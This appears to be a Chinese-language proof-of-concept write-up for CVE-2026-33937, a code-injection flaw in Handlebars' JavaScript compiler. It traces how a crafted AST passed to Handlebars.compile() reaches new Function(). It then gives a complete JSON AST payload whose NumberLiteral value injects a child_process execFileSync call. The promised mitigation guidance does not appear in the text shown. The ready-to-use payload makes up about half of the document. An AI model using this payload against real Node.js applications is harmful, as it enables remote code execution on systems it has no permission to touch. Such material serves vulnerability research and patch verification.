
CVE-2026-33937 的概念验证漏洞利用程序,这是一个 Handlebars AST 注入漏洞,可导致 Node.js 中的远程代码执行。演示了精心构造的 AST 载荷,并提供缓解指导。
CVE-2026-33937 是 Handlebars 中的一个严重远程代码执行(RCE)漏洞,由对抽象语法树(AST)输入的不安全处理引起。
该漏洞允许攻击者通过向 Handlebars.compile() 提供精心构造的 AST 对象来注入任意 JavaScript 代码。
Handlebars.compile() 接受两种输入:
当提供 AST 对象时,解析阶段会被跳过。
在:
lib/handlebars/compiler/javascript-compiler.js
中,函数:
NumberLiteral(number) {
this.pushStackLiteral(number.value);
}
直接将 number.value 插入到生成的 JavaScript 代码中,未经任何清理或转义,从而导致代码注入。
攻击者 → 精心构造的 AST(JSON)
│
▼
Handlebars.compile()
│
▼
Compiler.compile()
│
▼
JavaScriptCompiler(NumberLiteral 注入)
│
▼
代码生成
│
▼
new Function(...) / eval()
│
▼
RCE
{
"type": "Program",
"body": [
{
"type": "MustacheStatement",
"path": {
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": ["lookup"],
"original": "lookup",
"loc": null
},
"params": [
{
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": [],
"original": "this",
"loc": null
},
{
"type": "NumberLiteral",
"value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
"original": 1,
"loc": null
}
],
"escaped": true,
"strip": { "open": false, "close": false },
"loc": null
}
],
"strip": {},
"loc": null
}